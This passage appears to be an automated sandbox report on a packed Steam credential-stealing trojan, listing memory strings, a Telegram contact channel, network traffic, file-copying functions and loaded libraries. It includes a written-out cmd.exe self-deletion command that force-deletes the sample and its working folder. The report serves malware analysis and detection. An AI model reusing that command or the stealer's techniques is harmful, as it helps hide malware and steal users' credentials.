Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/mobile
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/news/
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/stats/
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FAB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FAB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/armad2a
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/armad2a4
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://t.me/armad2ahellosqls.dllsqlite3.dllIn
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://telegram.org/img/t_logo_2x.png
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443

Source: unknown	HTTPS traffic detected: 23.50.98.133:443 -> 192.168.2.12:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.12:49721 version: TLS 1.2

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Code function: 0_2_00535D70	0_2_00535D70
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Code function: 0_2_0030BD50	0_2_0030BD50
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Code function: 0_2_0030A130	0_2_0030A130
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Code function: 0_2_00309B30	0_2_00309B30
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Code function: 0_2_00309B58	0_2_00309B58

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe

Code function: String function: 002F2000 appears 287 times

Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@6/1@3/3

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe

Code function: 0_2_00301400 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00301400

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe

Code function: 0_2_00300900 CoInitializeEx,CoInitializeSecurity,CoCreateInstance,CoSetProxyBlanket,VariantInit,VariantClear,

0_2_00300900

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZRZDXR93\76561199747278259[1].htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6204:120:WilError_03

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe

File read: C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1003\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	ReversingLabs: Detection: 63%
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Virustotal: Detection: 69%

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe" & rd /s /q "C:\ProgramData\AEGHIJEHJDHI" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe" & rd /s /q "C:\ProgramData\AEGHIJEHJDHI" & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe

Code function: 0_2_00307A40 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00307A40

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe

Code function: 0_2_0030CDD5 push ecx; ret

0_2_0030CDE8

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Hooking and other Techniques for Hiding and Protection

Self deletion via cmd or bat file

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Process created: "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe" & rd /s /q "C:\ProgramData\AEGHIJEHJDHI" & exit
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Process created: "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe" & rd /s /q "C:\ProgramData\AEGHIJEHJDHI" & exit			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe

0_2_00307A40

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Source: C:\Windows\SysWOW64\timeout.exe TID: 6340

Thread sleep count: 80 > 30

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Code function: 0_2_002F1110 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_002F1110
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Code function: 0_2_002F9D40 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_002F9D40
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Code function: 0_2_002F99F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_002F99F0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Code function: 0_2_00305A70 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00305A70
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Code function: 0_2_00305EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00305EA0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Code function: 0_2_002FAAB0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_002FAAB0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Code function: 0_2_002FC2E0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_002FC2E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Code function: 0_2_002FA2C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_002FA2C0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Code function: 0_2_003056C0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_003056C0
